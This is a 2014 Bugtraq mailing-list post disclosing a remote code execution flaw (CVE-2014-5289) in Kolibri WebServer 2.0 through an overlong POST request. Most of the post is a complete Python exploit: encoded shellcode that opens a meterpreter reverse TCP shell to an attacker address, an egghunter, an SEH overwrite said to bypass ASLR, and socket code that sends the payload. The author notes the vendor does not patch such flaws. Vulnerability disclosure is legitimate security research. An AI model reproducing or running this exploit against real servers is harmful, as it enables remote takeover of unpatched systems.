Message-Id: <201408171525.s7HFPkqT018041@sf01web3.securityfocus.com>
Date: Sun, 17 Aug 2014 15:25:46 GMT
From: tekwizz123@...eup.net
To: bugtraq@...urityfocus.com
Subject: CVE-2014-5289  -  Kolibri WebServer 2.0 Vulnerable to RCE via
 Overly Long POST Request

Exploit Details
------------------
Senkas Kolibri WebServer 2.0 (available at http://www.senkas.com/kolibri/download.php) is vulnerable to RCE via an overly long POST request.

Sending the exploit will result in a SEH overwrite, which can then be use to redirect execution to a POP POP RET within the application's binary itself, which once executed, will allow the attacker to execute his/her payload located in the HOST field.

PoC
---------------
A PoC of this exploit follows. This will result in a meterpreter reverse tcp shell to 192.168.62.129 on port 4444. The exploit currently also bypasses ASLR by overwriting the SEH handler with an address from the binary itself. The offset in this exploit was confirmed to work on a Windows 7 Professional machine, fully updated as of August 5th, 2014:

PoC Code
----------------------------------
#!/bin/python
import socket

#[*] x86/alpha_mixed succeeded with size 636 (iteration=1)
buf =  "\x45\x44\x44\x43\x45\x44\x44\x43" # TAG
buf += "\x89\xe5\xda\xdd\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x69\x78\x6e"
buf += "\x66\x53\x30\x35\x50\x73\x30\x75\x30\x6d\x59\x4a\x45"
buf += "\x35\x61\x4e\x32\x33\x54\x6c\x4b\x31\x42\x66\x50\x6c"
buf += "\x4b\x62\x72\x34\x4c\x6c\x4b\x73\x62\x52\x34\x6e\x6b"
buf += "\x72\x52\x61\x38\x46\x6f\x6c\x77\x51\x5a\x66\x46\x45"
buf += "\x61\x59\x6f\x54\x71\x79\x50\x4c\x6c\x75\x6c\x50\x61"
buf += "\x51\x6c\x65\x52\x34\x6c\x47\x50\x6f\x31\x4a\x6f\x64"
buf += "\x4d\x57\x71\x6b\x77\x4a\x42\x7a\x50\x36\x32\x71\x47"
buf += "\x6e\x6b\x56\x32\x36\x70\x4c\x4b\x53\x72\x55\x6c\x4c"
buf += "\x4b\x50\x4c\x42\x30\x33\x48\x4b\x53\x32\x6a\x56\x61"
buf += "\x4a\x71\x50\x51\x4c\x4b\x43\x69\x67\x50\x47\x71\x79"
buf += "\x43\x6c\x4b\x31\x59\x62\x38\x68\x63\x77\x4c\x51\x59"
buf += "\x6e\x6b\x75\x64\x6c\x4b\x36\x61\x6b\x66\x44\x71\x49"
buf += "\x6f\x55\x61\x69\x50\x4e\x4c\x4b\x71\x38\x4f\x46\x6d"
buf += "\x37\x71\x78\x47\x65\x68\x39\x70\x34\x35\x7a\x54\x47"
buf += "\x73\x73\x4d\x79\x68\x37\x4b\x33\x4d\x64\x64\x70\x75"
buf += "\x6a\x42\x56\x38\x6c\x4b\x72\x78\x75\x74\x53\x31\x4e"
buf += "\x33\x50\x66\x4c\x4b\x54\x4c\x70\x4b\x6c\x4b\x36\x38"
buf += "\x65\x4c\x33\x31\x4e\x33\x4e\x6b\x67\x74\x4c\x4b\x76"
buf += "\x61\x48\x50\x6f\x79\x71\x54\x51\x34\x34\x64\x43\x6b"
buf += "\x71\x4b\x73\x51\x53\x69\x32\x7a\x42\x71\x79\x6f\x4d"
buf += "\x30\x42\x78\x43\x6f\x51\x4a\x6c\x4b\x37\x62\x58\x6b"
buf += "\x6d\x59\x31\x4d\x45\x38\x70\x33\x74\x72\x63\x30\x67"
buf += "\x70\x75\x38\x70\x77\x33\x43\x46\x52\x31\x4f\x42\x74"
buf += "\x70\x68\x62\x6c\x63\x47\x65\x76\x56\x67\x6b\x4f\x4b"
buf += "\x65\x6c\x78\x6e\x70\x76\x61\x45\x50\x37\x70\x45\x79"
buf += "\x49\x54\x76\x34\x70\x50\x65\x38\x76\x49\x4b\x30\x52"
buf += "\x4b\x45\x50\x49\x6f\x4b\x65\x46\x30\x50\x50\x70\x50"
buf += "\x76\x30\x37\x30\x42\x70\x47\x30\x42\x70\x71\x78\x48"
buf += "\x6a\x76\x6f\x4b\x6f\x49\x70\x39\x6f\x59\x45\x5a\x37"
buf += "\x50\x6a\x63\x35\x71\x78\x4f\x30\x6f\x58\x65\x6e\x4f"
buf += "\x71\x75\x38\x65\x52\x43\x30\x36\x71\x53\x6c\x6c\x49"
buf += "\x4d\x36\x73\x5a\x44\x50\x43\x66\x43\x67\x32\x48\x6a"
buf += "\x39\x49\x35\x62\x54\x63\x51\x59\x6f\x78\x55\x4f\x75"
buf += "\x59\x50\x42\x54\x36\x6c\x6b\x4f\x32\x6e\x65\x58\x72"
buf += "\x55\x7a\x4c\x30\x68\x38\x70\x58\x35\x6f\x52\x33\x66"
buf += "\x6b\x4f\x58\x55\x70\x6a\x35\x50\x72\x4a\x76\x64\x63"
buf += "\x66\x50\x57\x53\x58\x66\x62\x78\x59\x68\x48\x43\x6f"
buf += "\x79\x6f\x7a\x75\x6c\x4b\x65\x66\x72\x4a\x73\x70\x65"
buf += "\x38\x65\x50\x34\x50\x67\x70\x37\x70\x73\x66\x32\x4a"
buf += "\x43\x30\x55\x38\x43\x68\x4d\x74\x31\x43\x4b\x55\x39"
buf += "\x6f\x79\x45\x6e\x73\x42\x73\x31\x7a\x75\x50\x32\x76"
buf += "\x76\x33\x43\x67\x51\x78\x56\x62\x49\x49\x39\x58\x61"
buf += "\x4f\x69\x6f\x48\x55\x57\x71\x59\x53\x55\x79\x7a\x66"
buf += "\x4f\x75\x79\x66\x70\x75\x68\x6c\x4a\x63\x41\x41"



egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x45\x44\x44\x43\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

overflow = "A" * 12
overflow += "A" * (790 - len(overflow) - len(egghunter))
overflow += egghunter
overflow += "\xEB\xD9" # This offset seems to work against Windows 7 Professional, fully updated as of August 5th, 2014
overflow += "A" * 2
overflow += "\x50\x45\x62" #SEH overwrite 00624550 aka pop pop ret from the binary itself.

# A lot of this is the same as exploit 34059 from exploit-db


buffer = "POST /" + overflow + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: " + buf + "\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.62.130", 8080))
handle.send(buffer)
handle.close()

Conclusion
---------------------
Senkas has responded to previous posts about vulnerabilities in this software, namely CVE-2014-4158 which results in RCE via an overly long GET request, and CVE-2010-5301, which results in RCE via an overly long HEAD request, with the statement, "Please note there are number of reported "security vulnerabilities" for Kolibri webserver. So let me clarify that Kolibri+ is not secure and will never be secure for the same reason bicycles don't have airbags."

For this reason I believe it is unlikely that this vulnerability will be patched considering that the other two vulnerabilities remain unpatched to this day.

>From a quick reverse engineering of this target I believe that these three vulnerabilities all occur in the same piece of code that responds to requests for invalid pages, as a record of the invalid page request is stored on the stack, however I did not confirm that this is the case, and this remains to be proven.

Please feel free to question me if you require any more information to replicate this bug or if any part of this is confusing at all.

Powered by blists - more mailing lists